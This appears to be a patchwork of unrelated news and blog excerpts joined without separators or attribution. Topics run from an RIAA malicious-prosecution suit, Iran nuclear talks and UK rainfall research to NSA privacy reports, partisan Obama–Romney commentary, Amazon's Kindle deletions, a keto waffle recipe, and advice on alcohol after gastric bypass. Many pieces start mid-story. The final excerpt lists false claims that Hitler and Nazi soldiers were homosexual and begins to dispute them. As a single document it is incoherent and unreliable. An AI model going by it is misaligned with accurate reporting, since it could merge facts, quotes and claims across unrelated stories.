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Andersen is a single mother living in Oregon who was sued by the record labels in February 2005. She eventually filed a counterclaim against the RIAA, and when the labels voluntarily dismissed their case against her last June, she filed a malicious-prosecution lawsuit. In it, Andersen accuses the RIAA of fraud, racketeering, invasion of privacy, libel, slander, deceptive business practices, and violations of the Oregon state RICO Act.
Last month, a federal judge dismissed Andersen's original complaint, saying that she had "not adequately stated claims for relief," but gave her a one-month window to refile. Her attorney, Lory Lybeck, told Ars that he plans to file a new 80-page complaint tomorrow. "The focus of the amended complaint is essentially the sham litigation and abuse of the federal judiciary to operate this criminal enterprise that has harmed Tanya Andersen and thousands of other people," Lybeck said.
With a new complaint, the case is certain to move forward into the discovery phase, as the judge has told both sides that she would not entertain any further motions to dismiss this case. It's an uncomfortable place for the RIAA to be in.
"Usually, the parties are entitled to liberal pretrial discovery of anything related to the subject matter of the case," copyright attorney Ray Beckerman told Ars. "So the scope of the amended complaint will have a big impact on what is and what is not discoverable."
Tanya Andersen
Lybeck tells Ars that he'll be digging into agreements between the RIAA, RIAA member companies, MediaSentry, and the Settlement Support Center. Part of that will involve looking at compensation, like how much MediaSentry gets from each settlement. "I'd love to know what kind of bounty MediaSentry got paid to supply erroneous identities to the RIAA," Lybeck says.
One of the allegations in the amended complaint will involve MediaSentry's status as a private investigator. "MediaSentry claims it is able to gain access to people's hard drives without their permission and collect information," notes Lybeck. "It's illegal because they're not licensed to do that work."
The amended complaint and subsequent discovery will also focus on what Lybeck calls the "flawed nature" of the RIAA's investigations. "We know [the RIAA] cannot identify individuals," he says in response to a question on false positives. "We want to know how many dolphins the RIAA is catching," referring to a former RIAA spokesperson's 2003 comment about accidentally catching a few dolphins when fishing with a net.
The RIAA is likely to fight the discovery process tooth and nail, however, as the information that is unearthed could prove to be extremely embarrassing, if not problematic. "They've operated in this zone of secrecy for five years now, and we hope to put a stop to that," Lybeck stated emphatically, "because it will become obvious that their conduct is illegal an their whole scheme is flawed at its basic core."
RIAA lead counsel Richard Gabriel
after the Jammie Thomas trial
So far, the RIAA's attorneys have been uncooperative on discovery issues, according to Lybeck. He says that he has reached out to RIAA lead national counsel Richard Gabriel, who was argued the labels' case in the Jammie Thomas trial, in order to move the process forward. "He's refused," Lybeck said. "I assume we're going to run into the same stall and delay tactics."
Gabriel took issue with Lybeck's characterization, accusing him of making "false statements" about his conduct. "As I discussed with Mr. Lybeck, the Court dismissed all 13 of his client's claims," Gabriel told Ars. "As a result, there are no claims pending at the moment, and his request to schedule discovery is premature. We are eager to resolve all outstanding issues in this case and look forward to doing so in a rational way that follows the process outlined by the Court."
The diplomat spoke hours after Iran and the six powers agreed to continue talking, after failing to meet a self-imposed July 20 deadline to reach an agreement on curbing the Iranian nuclear program in exchange for ending sanctions.
Ashton’s mandate as the EU’s top foreign policy official expires at the end of October, before the new Nov. 24 target date for a long-term settlement to end the decade-old dispute over Iran’s nuclear program.
But, the senior diplomat said, “the clear understanding among the countries is that she will complete the job”.
Diplomats say they hope an agreement can be reached before the November deadline.
Ashton, a British baroness who has held the EU post for the last five years, has been the prime coordinator of negotiations with the Islamic Republic since 2010.
The role requires her to work with the United States, Russia, China, Britain, France and Germany to present a clear and united position, while trying to build trust with the Iranians to keep the sensitive talks trundling along.
Ultimately, it is Iran and Washington who will determine if a deal is done. But Ashton’s shepherding of the process has won her accolades and helped silence some of her many detractors.
Ashton, 58, is a former campaigner against nuclear weapons, social worker and hospital administrator who was made a baroness for life by Britain’s Labour party in 1999.
She had no foreign policy experience when she was unexpectedly named to her post in December 2009.
Despite those shortcomings and a difficult time early in her tenure as she battled to establish herself, she is said to have forged a close personal relationship with Iran’s foreign minister, Mohammad Javad Zarif, her counterpart in the talks.
Zarif occasionally addresses her as Cathy.
Scientists used the spare capacity on volunteers' home computers to compare tens of thousands of simulations of possible weather in our present-day climate with tens of thousands of simulations of a hypothetical world without the influence of past greenhouse gas emissions in the atmosphere using the same climate model. Comparing numbers of extremely wet winters between these two groups provides estimates of the influence of climate change on the UK weather. They found that a one-in-100-year winter rainfall event (i.e. a 1% risk of extreme rainfall in the winter of any given year) is now estimated to be a one-in-80 year event (i.e. a 1.25% risk of extreme rainfall in any given winter), so the risk of a very wet winter has increased by around 25%.
The researchers say this change is statistically significant thanks to the number of computer simulations they were able to run – over 33,000 computer models in the experiment. However, the researchers say that while their finding is statistically robust, the result depends on how man-made climate change is represented in the experiment. They used different climate models to estimate the pattern of global warming, which provided a range of possible changes in risk. In several cases, the models gave no change or even a reduction in risk, but overall the simulations showed a small increase in the likelihood of extremely wet winters in the south of England.
The experiment for the weather@home project, based at the University's School of Geography and the Environment, started in March 2014. The winter deluge affected large parts of south England and Wales, and as a consequence, large areas were flooded, some more than once during the three-month period. This led to a good deal of public debate, which at one point involved Prime Minister David Cameron, about whether the extreme rainfall and resulting floods could be linked to climate change.
Researcher Dr Friederike Otto from the weather@home said: 'It will never be possible to say that any specific flood was caused by human-induced climate change. We have shown, however, that the odds of getting an extremely wet winter are changing due to man-made climate change. Past greenhouse gas emissions and other forms of pollution have "loaded the weather dice" so the probability of the south of England experiencing extremely wet winters again has slightly increased.'
She added: 'Total winter rainfall, although useful as a benchmark, is not the direct cause of flood damage, so we are working with collaborators, such as the Centre for Ecology and Hydrology, to explore the implications of our results for river flows, flooding and ultimately property damage.'
{snip}
The July study released by the Ethos Public Policy Lab (Ethos Laboratorio de Políticas Públicas), a Mexico-based research institute, finds that in spite of the government’s 61% increase in internal security spending from 2008 to 2015, Mexico remains one of the most violent countries in the world, with 15 registered homicides per 100,000 inhabitants.
According to the report, the Mexican government invested 209 billion pesos (US $11.7 billion) in overall security in 2015. National security amounted to 40% of the sector’s expenditures, while justice and internal security comprised 39 and 21% of total security spending, respectively.
{snip}
The study estimates that the number of Mexican police has expanded by 275% between 2006 and 2015. As of 2013, Mexico had 367 police per 100,000 inhabitants, more than the United States, Brazil and Honduras, according to data from the United Nations Office on Drugs and Crime (UNODC).
However, only four judges exist per 100,000 inhabitants in Mexico, a rate lower than that of El Salvador, Chile and Colombia.
The report also emphasizes that official figures vastly underestimate Mexico’s rates of homicide, robbery and kidnapping. Only one in 10 of these crimes is registered by Mexican authorities.
{snip}
Original Article
In 2005, former Illinois Gov. Rod Blagojevich mandated that all pharmacists and pharmacies sell "Plan B," the brand name for a drug designed to prevent pregnancy following unprotected sex or a known or suspected contraceptive failure if taken within 72 hours.
Some anti-abortion advocates object to the drugs, which work by preventing the release of an egg, preventing fertilization or stopping a fertilized egg from attaching to the uterus.
College vending machine dispenses 'morning after' pill
In 2011, an Illinois judge entered an injunction against the rule, finding no evidence that the drugs had ever been denied on religious grounds, and that the law was not neutral since it was designed to target religious objectors.
The Illinois appellate court agreed that the Illinois Health Care Right of Conscience Act protects pharmacists' decision not to dispense the contraceptives due to their beliefs.
Free birth control under health law begins
"This decision is a great victory for religious freedom," said Mark Rienzi, senior counsel for the Becket Fund, quoted in a statement about the decision.
President Obama's health care reform is drawing fire from Republicans, as provisions enacted today mandate all employers provide free contraception to their employees. NBC's Brian Mooar reports.
Earlier this year, a federal court in Washington struck down a similar state rule, according to the Becket Fund, a non-profit law firm.
The American Civil Liberties Union of Illinois, which had filed an amicus brief on behalf of the state, expressed dismay at the court's decision.
Long-term contraceptives, like IUDs, gaining popularity
"We are dismayed that the court expressly refused to consider the interests of women who are seeking lawful prescription medication and essentially held that the religious practice of individuals trumps women's health care," said ACLU spokesman Ed Yohnka. "We think the court could not be more wrong."
A spokesperson for Illinois Governor Pat Quinn was not immediately available for comment.
Read more health news on NBC's Vitals
More content from NBCNews.com:
Ashton Lawrence tweeted this stunning image of smoke pouring from the tower.
A <a href="https://twitter.com/hashtag/TO2015?src=hash">#TO2015</a> Pan Am warm up? <a href="https://twitter.com/hashtag/CNTower?src=hash">#CNTower</a> <a href="http://t.co/S8ldhGgOPL">pic.twitter.com/S8ldhGgOPL</a> —@Ashton_Lawrence
Toronto Fire spokesman Stephen Powell confirmed that the cause of the smoke was a pyrotechnics display related to the Pan Am Games.
A Pan Am games spokesperson confirmed that the fireworks were set off as part of a dress rehearsal for the Games' Opening Ceremony.
Toronto Fire confirms the CN Tower smoke is Pan Am pyrotechnics. They were aware of it - just not perhaps the extent of the smoke. —@wisem
The fireworks set off from the CN Tower are part of the dress rehearsal for the Pan Am Games Opening Ceremony, as announced earlier today. —@TO2015
Power told CBC's Mike Wise that they were aware something was planned to take place at the tower, but they didn't know about the amount of smoke that ended up billowing from the observation deck.
Not everyone got the memo about the rehearsal, though. Any short-term panic Torontonians had at the sight of the engulfed tower was quickly extinguished, turning some of their incredulity at the Games instead.
Wow, before you start testing fireworks for tomorrow's Pan Am Opening...you may wanna warn people. <a href="https://twitter.com/hashtag/CNTower?src=hash">#CNTower</a> <a href="http://t.co/5d23dWEIbp">pic.twitter.com/5d23dWEIbp</a> —@MonikaPlatek
Last night I reported here at PJ Media on the stabbing attack and the reports from local St. Cloud police that the suspect, who at that time hadn't been named, had made references to "Allah" and asked at least one victim whether they were Muslim.
Earlier today, family members named Dahir Adan, a local Somali man who came to the United States 15 years ago and was a junior at St. Cloud State University, as the attacker.
But at 2:42 p.m. today, Pat Pheifer of the Star Tribune published an article, now removed and replaced on the newspaper's website, titled "Anti-Muslim Tension Isn't New in St. Cloud."
I screen captured the article before it was scrubbed and replaced.
In the opening paragraphs, Pheifer writes so ambiguously that one could easily conclude that someone motivated by anti-Muslim beliefs was responsible for the attack:
A cloud of anti-Muslim sentiment and tension has hung over St. Cloud for the past seven years, with incidents ranging from bullying Somali and other East African immigrants at St. Cloud Technical High School, to women being screamed at in grocery stores, pig intestines wrapped around the door handles of a halal grocery store, and offensive billboards and license plates. The most physically injurious incident came Saturday evening when a man stabbed nine people at the city's Crossroads Center before the attacker was killed inside the mall by an off-duty police officer. No one but the attacker was killed. Authorities said the man reportedly asked at least one victim whether they were Muslim before assaulting them and referred to Allah during the attacks.
So after a recitation of previous anti-Muslim incidents, Pheifer introduces "the most physically injurious incident" -- the mass stabbing at Crossroads Center. A reader could understandably think that this new incident was similar in nature to those just recounted.
And the ambiguous description of the incident might lead one to conclude that it was anti-Muslim in nature.
Only at this point is there any mention that the attack might have been motivated by radical Islamic ideology.
ISIL, on Twitter, claimed credit for the mall violence and called the attacked "a soldier of the Islamic State."
Nowhere else in the original article, which continues with more recitation of alleged "anti-Muslim" activity in St. Cloud, is there any indication that the attacker was Muslim and the victims targeted in the attack non-Muslim.
Whelan allowed Martinez to end his four-year spell with Wigan following the club's relegation from the Premier League last season.
The Spaniard moved to Everton as David Moyes' replacement after the Scot took charge of United, but Whelan believes the champions should have considered Martinez as a possible successor to Sir Alex Ferguson.
"I think he's the best manager in the world and I was a little surprised that Man U didn't come for him because I knew that Alex was going to retire," Whelan told Sky Sports News.
"Alex had already told me that he was thinking of retiring and I was a bit surprised that Man U didn't. They have still got a great lad in David Moyes, let me say that, he's still a great manager, but Roberto now going to Everton, he will take Everton to places they can only dream about."
Whelan has kept a close eye on the Football Association's new commission and suggests that FA chairman Greg Dyke has played down England's hopes of winning the World Cup next summer.
Dyke has set a target of winning the trophy in 2022, but Whelan has urged the national team to go for glory in Brazil.
He said: "I want to win it next year. Why don't we win it when we're in it now?
"We're in Brazil, let's go to Brazil and let's go there with the confidence and we've got the team.
Doty told The Baltimore Sun that photos included with the ticket issued on April 24 made it “shockingly obvious” that his four-door Mazda wagon stopped at a red light with the break lights on. A three-second video clip provided as evidence also showed that Doty’s car was motionless as he waited for the light to turn green.
“It was like someone was so obviously asleep at the switch,” Doty explained. “I thought that was not supposed to happen.”
Xerox State and Local Solutions, which is the contractor for Baltimore’s speed and red light cameras, said that each citation went through a two-step review to verify its accuracy, including an officer who must swear that the vehicle was going at least 12 MPH over the posted speed limit.
Police spokesperson Anthony Guglielmi would not reveal which officer reviewed Doty’s ticket, but did say that an officer could review as many as 1,200 tickets in a day.
“The department finds any error unacceptable,” Guglielmi told the Sun.
Mayor Stephanie Rawlings-Blake’s created a task force earlier this year to study the city’s 83 speed cameras and 81 red light cameras.
Gov. Martin O’Malley (D), who sponsored the original legislation authorizing speed cameras in Maryland, on Tuesday called on local governments to stop paying contractors a bounty for the number of tickets issued because it was against state law.
“The law says you’re not supposed to charge by volume. I don’t think we should charge by volume,” O’Malley insisted. “If any county is, they need to change their program.”
Baltimore has collected more than $48 million in revenue since starting the speed camera program in 2009.
The Baltimore Police Department did not respond to a request for comment by the time of publication.
the redactions make it hard to judge how often privacy violations happen The heavily redacted documents were released in response to a lawsuit brought by the American Civil Liberties Union under the Freedom of Information Act. Many of these privacy violations have been previously reported on, but these documents show new specifics. A series of annual and quarterly reports from 2001 through the second quarter of 2013 are now available for perusal, and they cover some of the NSA's greatest hits: stalking potential romantic partners, a practice apparently so common it's been nicknamed LOVEINT; erroneously targeting US citizens for spying; database queries that returned queries on US citizens who weren't targeted; storage of data on servers "not authorized" to hold it; and access by people without security clearance to — well, to something; the specifics were redacted.
In fact, the frequent redactions make it hard to judge how often these privacy violations are happening, though previous reports suggest they occur thousands of times a year. But don't worry, the NSA says. "The problems uncovered were routine," according to NSA/CSS Office of the Inspector General report in the documents representing the first quarter of 2013.
the reports do not exactly fill a citizen with confidence Between agents forwarding emails to "unauthorized recipients" with the identities of US citizens, the release of identities to "unauthorized chatrooms," and the release of classified intelligence to someone not authorized to see it, the reports do not exactly fill a citizen — referred to as an USP, or "US person" in the reports — with confidence.
This morning as networks were setting their schedules to accomodate the President's economic policy speech in Cleveland, the Romney campaign decided they needed to try and upstage that by having their boy give one in Cincinnati at the very same time. How mature of them. As Martin Bashir notes, we're surprised they didn't put on some fake police uniforms and pull over the President's motorcade.
After other Romney campaign operatives demonstrated how utterly stupid and childish they were by driving their campaign bus around the venue for President Obama's speech, things got real. Let me just cut to the chase. Here's the President's vision for the economy: Education. Energy. Innovation. Infrastructure. Here's Mitt Romney's:
"You may have heard that President Obama is on the other side of the state and he’s going to be delivering a speech on the economy. He’s doing that because he hasn’t delivered a recovery for the economy," Romney said. "And he’s going to be a person of eloquence as he describes his plans for making the economy better. But don’t forget, he’s been president for three and a half years. And talk is cheap. Action speaks very loud. And if you want to see the results of his economic policies, look around Ohio, look around the country, you’ll see a lot of people are hurting."
Yes, well the thing is, a lot less people are hurting than were in 2008. Here are the 2008 numbers, taken from the text of the President's speech:
For the wealthiest Americans, it worked out pretty well. Over the last few decades, the income of the top 1 percent grew by more than 275 percent -- to an average of $1.3 million a year. Big financial institutions, corporations saw their profits soar. But prosperity never trickled down to the middle class. From 2001 to 2008, we had the slowest job growth in half a century. The typical family saw their incomes fall. The failure to pay for the tax cuts and the wars took us from record surpluses under President Bill Clinton to record deficits. And it left us unprepared to deal with the retirement of an aging population that’s placing a greater strain on programs like Medicare and Social Security. Without strong enough regulations, families were enticed, and sometimes tricked, into buying homes they couldn’t afford. Banks and investors were allowed to package and sell risky mortgages. Huge, reckless bets were made with other people’s money on the line. And too many from Wall Street to Washington simply looked the other way. For a while, credit cards and home equity loans papered over the reality of this new economy -- people borrowed money to keep up. But the growth that took place during this time period turned out to be a house of cards. And in the fall of 2008, it all came tumbling down -- with a financial crisis that plunged the world into the worst economic crisis since the Great Depression. Here in America, families’ wealth declined at a rate nearly seven times faster than when the market crashed in 1929. Millions of homes were foreclosed. Our deficit soared. And nine million of our citizens lost their jobs -- 9 million hardworking Americans who had met their responsibilities, but were forced to pay for the irresponsibility of others.
Now given those constraints, and also given that the economy has not recovered completely but is in danger of stalling due to the current Republican-made stalemate in Congress, it's fair to say that we are not where we were in 2008. I remember far worse days than today. It is possible to point to progress, after all, without claiming "mission accomplished." Better than 2008, but a long way to go, as Martin Bashir explains.
Bashir gives the numbers on the Ohio economy, which is performing better than the national economy. The unemployment rate in Ohio is down sharply from 2009's high of over 10 percent, for example. In Ohio, things are much better today than they were in 2008, and there's absolutely no reason to expect that Romney's policies would maintain or improve their lot.
President Obama clearly outlined the choices between Romney and himself as far as economic vision goes. Romney wants austerity; Obama wants shared prosperity. Romney wants a top-down economy; Obama wants a middle-out economy. That term is a little bit tortured, but essentially Obama is arguing that demand will drive economic recovery, whereas austerity will kill demand further, placing more strain on a fragile recovery.
What I took away from the speech was that there's a stark choice to be made about the economy, as David Corn says. It's a choice between returning to Bush policies or pushing ahead with the Obama economic policies. I offer that with one criticism: There was too much emphasis on the debt and deficit. While I realize that the national debt and deficit are major concerns to many voters out there, it would have been better for him to explain why the investments need to be made now, with the tax changes coming later. This is what he did back in September when he introduced the American Jobs Act which the GOP killed in a matter of hours.
As much as I liked the speech, I also wanted to hear him draw the comparison between the old Bush-style economic policies and Mitt Romney's Bain Capital days. After all, Romney left companies in smoldering, bankrupt hulks, much like George Bush's policies left this country back in 2008. It's a fair comparison, as is a comparison to Massachusetts' economic woes when Romney left office after incorporating his policies.
Some critics of the speech (Jonathan Alter most notably) were disappointed that it didn't have "more memorable lines." I figure you can either pay lip service to the problem or actually try and explain that problem cogently. Economic policy just doesn't lend itself to catchy lines. "Yes we CAN tax the rich" rings a little bit hollow when we've got Congressional wingnuts up there on Capitol Hill voting a zillion times for anti-abortion bills and the like while completely ignoring the economic realities of their stall game on the Hill.
Are we really going to expect that a major policy speech should have catchy lines now? Ok, well, just for Alter, I offer a couple of catchy lines. I imagine a jingle contest could be launched to set them to music. Here are a couple:
Education. Energy. Innovation. Infrastructure.
Lather. Rinse. Repeat.
Also, this one:
...through government, we should do together what we cannot do as well for ourselves.
And this:
And the only thing that can break the stalemate is you.
There was no comparison between the two speeches. Mitt Romney is extraordinarily bereft of any new ideas, he's got an entire staff comprised of Bushies, and a whole bunch of College Republican idiots driving around Obama rallies in buses, wasting gas and dropping noise pollution into a crazy-noisy world.
A growing section of financial market participants and journalists has speculated that recent numbers might be painting a more flattering picture of the world's second largest economy than is the reality.
But according to research, China's economy is likely much bigger than official data suggest.
In a report published by research institution Center for Strategic and International Studies (CSIS) last month, Daniel Rosen and Beibei Bao showed that 2008 GDP was actually 13-16 percent larger than official figures, while 2013 GDP stood at $10.5 trillion rather than the official $9.5 trillion.
Read MoreIs confidence seeping back into China markets?
What might explain this mismatch? The authors think the difference could be explained by how China calculates, or does not calculate, economic activity.
Northampton have become the second club to take issue with the Rugby Football Union over its approach to building a new England coaching team.
However, Bristol say they have not given Borthwick permission to leave.
And Saints boss Jim Mallinder says Saints have been "kept in the dark" about any approach for King.
Northampton say they have "had no formal approach" from the RFU - something described as "disappointing" by Mallinder - and could make an official complaint.
Jones has met with former England, Wasps and Clermont fly-half King but Mallinder is unaware of the contents of their conversation.
And the Northampton boss insisted the uncertainty over King was a distraction heading into the 9-9 Champions Cup draw with Racing 92 at Franklin's Gardens on Friday.
"Alex King is a key part of our coaching staff. We're in a vital part of the season," said Mallinder.
"What you don't want to hear by reading in the press or being told is that somebody is talking to one of your coaches."
When asked if Northampton would be making a complaint, Mallinder replied: "We don't want to talk about compensation because we don't know if Alex will be their new backs coach or not.
In this case, the mass e-book removals were motivated by copyright . A company called MobileReference, who did not own the copyrights to the books 1984 and Animal Farm, uploaded both books to the Kindle store and started selling them. When the rights owner heard about this, they contacted Amazon and asked that the e-books be removed. And Amazon decided to erase them not just from the store, but from all the Kindles where they'd been downloaded. Amazon operators used the Kindle wireless network, called WhisperNet, to quietly delete the books from people's devices and refund them the money they'd paid.
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An uproar followed, with outraged customers pointing out the irony that Amazon was deleting copies of a novel about a fascist media state that constantly alters history by changing digital records of what has happened. Amazon's action flies in the face of what people expect when they purchase a book. Under the "right of first sale" in the U.S., people can do whatever they like with a book after purchasing it, including giving it to a friend or reselling it. There is no option for a bookseller to take that book back once it's sold.
Apparently, until last week, Amazon claimed it wouldn't take back purchased books either: The New York Times' Brad Stone reports:
Amazon's published terms of service agreement for the Kindle does not appear to give the company the right to delete purchases after they have been made. It says Amazon grants customers the right to keep a "permanent copy of the applicable digital content."
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But this isn't the first time there has been a problem with secret deletings. Stone adds:
Amazon appears to have deleted other purchased e-books from Kindles recently. Customers commenting on Web forums reported the disappearance of digital editions of the Harry Potter books and the novels of Ayn Rand over similar issues.
Now that the public is up in arms over the Kindle deletions, Amazon is once again promising good behavior. Amazon spokesman Drew Herdener told reporters:
We are changing our systems so that in the future we will not remove books from customers' devices in these circumstances.
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That "in these circumstances" bit doesn't inspire a lot of confidence. Sounds like books will be removed again under other (undefined) circumstances.
Regardless of whether you believe Amazon's promise to leave your Kindle alone, the company has tipped its hand and shown us the dark side of a culture where books are only available in electronic form. If the WhisperNet service from Kindle allows the company to delete books silently from your device, what other information might they have access to? Can the company monitor what you're reading and when - and then hand that over to law enforcement? Can it replace a book file with a different file whose content is changed?
Cinnamon Roll Waffles are the best of both worlds. That creamy, sweet, delicious cinnamon roll warm out of the oven mixed with the childhood favorite of most – waffles! These bad boys pack a ton of fat, a ton of protein (for waffles), and a huge amount of flavor.
The moment these touch your tongue, a flash back of sweet cinnamon roll nostalgia will fill your mind. They’re soft, sweet, and low carb. The perfect trinity of the holidays mixed with a dash of cinnamon – that’s the holidays gift wrapped if I ever saw it!
I suggest getting a new waffle iron if you haven’t had an upgrade in a while. I recently purchased this waffle iron and let me tell you it is a world of difference. Better cooked throughout, no more sticking and peeling half the waffle away, and best yet – no more hassle cleaning the plates.
If you’re looking for something a bit cheaper, go with a deep groove non-stick like this one from Black & Decker.
We’re also using Erythritol as our source of sweet. This stuff is the magical food of a ketogenic diet. It’s ~70% as sweet as sugar, gives a similar consistency, and gets your baked goods almost exactly the same as the real stuff. It doesn’t raise blood sugars and passes through your system fast. You can buy the same brand I use, if you like.
If you’re a fan of cinnamon rolls, you’ll love this recipe. It reminded me a little bit of a cinnamon roll mixed with a honey bun for some reason, but those were things I snacked on as a kid so it brought more memories back than I originally anticipated. Hope you guys try this one out, and I hope everyone that reads this website has a fantastic holiday season!
Yields 1 serving for a meal, or 2 servings as a snack
The Preparation
Waffle
6 tablespoons almond flour
almond flour 2 large eggs
eggs 1 tablespoon erythritol
erythritol ¼ teaspoon baking soda
baking soda ½ teaspoon cinnamon
cinnamon ½ teaspoon vanilla extract
vanilla extract Non-stick spray (If you have an old waffle maker)
Cream Cheese Frosting
2 tablespoons cream cheese
cream cheese 1 tablespoon erythritol
erythritol 1 tablespoon heavy cream
heavy cream 2 teaspoons leftover batter
leftover batter ¼ teaspoon vanilla extract
vanilla extract ¼ teaspoon cinnamon
The Execution
1. Crack an egg into a mixing bowl.
2. Add your Erythritol and mix it together very well.
3. Add your almond flour and cinnamon to the mixture.
4. Mix this together well until there’s no lumps. Then, add your second egg, vanilla, and baking soda. Mix again until batter is smooth.
5. Put your waffle iron on and wait for it to get hot. You need to spray it down with some sort of non-stick spray if it isn’t non-stick. Fill your waffle maker with the batter and let it cook. Save a little bit of the batter (about 2 tsp.) to go into the filling. While you’re cooking find a small bowl and add your cream cheese and Erythritol.
6. Next add your heavy cream, cinnamon, and a little bit of batter to it. Mix it together very well so that everything is combined. I like to leave small lumps of cream cheese in to change the texture as I’m eating the cinnamon roll waffle.
7. Once your waffle is finished cooking, cut it into sized pieces you want. Add your filling to each piece so that you can make a sandwich.
8. Sandwich them together and enjoy! The waffles are a tad dry, so you need some sort of filling to thoroughly enjoy them.
For the entire waffle, you’re looking at: 536 Calories, 44.52g Fats, 7.65g Net Carbs, and 24.2g Protein. You can portion it out so that it fits your macros, but keep in mind that it’s extremely filling.
Anders Fogh Rasmussen and Donald Tusk
I have ranted about the a-a-a-a-lcohol before . I will rant again. You WILL hear me. Eventually.
Study - Download Impaired Alcohol Metabolism
LA Times -
Changes in the way the body absorbs and metabolizes alcohol after gastric bypass mean these patients need less alcohol to register intoxication on a breathalyzer, says a study published recently in the Journal of the American College of Surgeons. After drinking a single 5-ounce glass of red wine before their surgery, the study's 19 subjects had an average breath alcohol content of .024% -- well below the level at which most states consider a driver intoxicated.
Three months after surgery, the same glass of red wine resulted in an average breath alcohol content of .059%, and six months post-surgery, the group averaged .088%, which surpasses the .08% widely recognized as the legal threshold for intoxication.
It also took longer for patients to return to complete sobriety in the wake of that drink: Pre-operation, it took subjects 49 minutes to return to complete sobriety after a glass of wine; three months after the operation, it took 61 minutes for that to happen, and six months after surgery, it took 88 minutes. (NOTE - SIX MONTHS = 88 minutes, READ IT AGAIN.)
The study -- the first to compare the same group of subjects pre- and post-surgery -- found a potentially insidious change, as well, in how patients experienced alcohol consumption. Before surgery, 58% reported a feeling of euphoria after a glass of wine -- a number that shot up to 88% at three months post-surgery, and then dropped to 50% at six months on. Sensations of dizziness and warmth -- rare before surgery -- were commonly reported six months after. At that point, one in four subjects also reported experiencing double-vision after drinking a glass of wine--a sensation none reported before.
The researchers, from Stanford University School of Medicine, expressed concern that bariatric surgery patients' different experience of alcohol consumption might result in confusing signals. "Patients feel different effects of alcohol intoxication postoperatively, and this can lead to over-indulgence to achieve the same symptoms of intoxication that they experienced before surgery," the study's authors wrote.
There are lots of reason to forgo alcohol in the wake of a gastric bypass the authors warned: Bariatric patients that have unresolved binge-eating issues, in particular, are at risk of "transferring" their food addiction to other substances, including alcohol. And even those without such issues raise their risk of weight regain after surgery, and of deficiencies in thiamine (vitamin B-1).
After obesity surgery, patients should never drink and drive, wrote the authors. They should also limit their alcohol consumption to a maximum of 1 unit of alcohol (a 5-ounce glass of wine, 12-ounce beer, or 2-ounce serving of distilled alcohol) in any two-hour period.
Via - LA Times
One. serving.
Does that make it CLEAR?
You're at a party! It's 7pm, you are past your SURGEON's SUGGESTION for alcohol, which may very well be 6-12 months post op. Have ONE drink. Sip it slowly. Wait it out. You may not even feel the fact that you are getting intoxicated nor that you are remaining so, because the feeling FEELS different as a gastric bypass post op.
Wait. It. Out. Yes, we know how hard it is to pay attention to the time-suck as you are getting drunk and ordering another drink. But, this is your health. Two hours may pass super quick -- or not. You may be tossing back another drink just as soon as you put one DOWN. I know that. I see you on Weighty Secrets and in my email. We have a giant problem in the community with alcohol, this research can only help you.
It's almost... NOT FAIR that an addictive personality has this EXTRA temptation to deal with as a post op. Doesn't it make you want to have a little kid tantrum sometimes?!
"WHY CAN'T I JUST HAVE A COUPLE MARGARITAS AND PARTY AND HAVE A PLATE OF NACHOS AND!!!!!!!!!"
I see this all the time, post ops who want to party. Not because I have any authority or skill here, but simply because I am a "MM" who watches the WLS community -- and I've been here for eight years doing so -- and everybody tells me their secrets. They've "missed out" on a lot as teenagers or adults because they were FAT or SUPER FAT and want to PARTY NOW. Fine. Do it. Jump on the bed, baby.
But, you don't have to get totally shitfaced and kill yourselves.
The fact that you've given UP food -- and can't really touch alcohol? "Why me, WHY can't I BE NORMAL?!" Right? Not so much. You can't. WLS makes you a freak. Surgically Altered Freaks need special care. (Thanks, BTV.)
Some estimates put its total usage at 200 million minutes per day.
It is this staying power and loyalty that convinced Hed that Angry Birds can become the platform that makes Rovio, based just outside of Helsinki, Finland, into a global entertainment company.
“When we realized we had a big hit on our hands with Angry Birds, we looked at companies that had gone before us, especially in the mobile gaming sector where we were at that time very firmly,” Hed told CNBC.com.
“We saw that most gaming companies had then immediately tried to make another hit game and we realized that had very rarely worked. Rather, we started to look at what we could do around Angry Birds and if there was a way that we could build this into an entertainment franchise,” he added.
One-Hit Wonder?
Rovio’s critics have said that the company is simply a one-hit wonder, and that to genuinely demonstrate its ability to become a force in the market it will need to expand its range of games.
“Games are what we are very strong at, and we will do other games besides Angry Birds as well, but now as we are executing our media company strategy, we’re not in a tremendous hurry to churn out game after game after game,” Hed said.
After all, Rovio had produced more than 50 titles before hitting gold with Angry Birds. Taking their existing hit and using its popularity to expand horizontally into film, TV and merchandising is a way to grow the company in a rapid and controlled way, without having to rely on the hit-and-miss nature of online gaming success.
Even so, the company’s beginnings in social gaming and interactivity have given it an experience that others are going to struggle to match, Hed said.
“We have our own online retail presence as well, because that’s where our game is, and it gives us some really interesting opportunities as we do have a great channel to communicate with our fans through the game," he said.
"It does require adaptation from us constantly and learning about how these business areas work, but it gives us opportunities that would not be possible for other media companies because of the uniquely interactive nature of these mobile applications,” Hed added.
Likewise, he said that his business has an advantage over traditional computer game companies, as the sheer volume of users shows.
“There is room for many kinds of games and there are different types of players too who prefer different types of games," Hed explained.
"Angry Birds is really popular amongst casual gamers,” he said. “Our audience seems to be the widest audience out there, the others are quite niche. So the question is can these other companies compete with the very broad demographic of Angry Birds?”
Aggressive Expansion Plans
Hed has aggressive expansion plans for Rovio, and said that the company will consider making acquisitions in the more traditional media space in order to advance its strategy. He anticipates that in a year’s time it will have increased in headcount by three to four times its current level of 100 employees.
While he is in no hurry to exit, Hed has previously said that he would consider an IPO down the line. Valuations of social media and gaming companies are currently running high – Zynga, the creator of Facebook games Cityville and Farmville, which is rumored to be planning a flotation in 2012, is being pitched at upwards of $9 billion.
At Wedbush Morgan, analyst Lou Kerner warns investors not to underestimate the value of social gaming, despite those who dismiss the soaring price tags as another dotcom-style bubble.
“Angry Birds is a global phenomenon that is likely going to continue for many years to come in many different variations. And while the average revenue per user is low, the cost of additional users is significantly lower than video games. They can achieve massive scale very quickly,” Kerner told CNBC.com.
“Cityville got to 100 million users in seven weeks. That’s not possible in the world of video games. So you’re looking at much larger user bases at a much lower cost. Even though they might monetize at a lower rate they can still be massively valued companies like Zynga,” he added.
Many commentators even said that Facebook was overvalued at $1 billion, simply “because $1 billion is a big number,” Kerner said.
1. Hitler was an active homosexual.
2. Hitler could not find straight soldiers who were savage enough to carry out his evil plans, so he recruited homosexuals to do it.
3. Homosexuals in the Nazi military led to the Holocaust.
Fischer produces several quotes from historians and students of the Nazi movement to support him. It seems to me that he pulls these quotes right out of their context and uses them to paint an incomplete picture of history.
